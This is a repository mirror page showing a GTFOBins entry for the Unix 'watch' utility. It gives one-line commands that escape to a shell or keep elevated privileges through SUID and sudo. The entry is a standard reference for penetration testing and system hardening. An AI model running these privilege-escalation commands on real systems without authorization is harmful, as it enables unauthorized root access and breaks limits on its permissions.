This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-03 10:18:54 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
87a0bb6a9f9f389b100b0aa2a9d5fc13e7c96750
GTFOBins.github.io
/
_gtfobins
/
watch.md
Emilio Pinna
dd337b5ddf
Adopt new function names
2018-10-05 18:55:38 +01:00
362 B
Raw
Blame
History
functions
functions
shell
suid
sudo
limited-suid
code
watch -x sh -c 'reset; exec sh 1>&0 2>&0'
description
code
This keeps the SUID privileges only if the `-x` option is present.
./watch -x sh -c 'reset; exec sh 1>&0 2>&0'
code
sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
code
./watch 'reset; exec sh 1>&0 2>&0'
Reference in New Issue
View Git Blame
Copy Permalink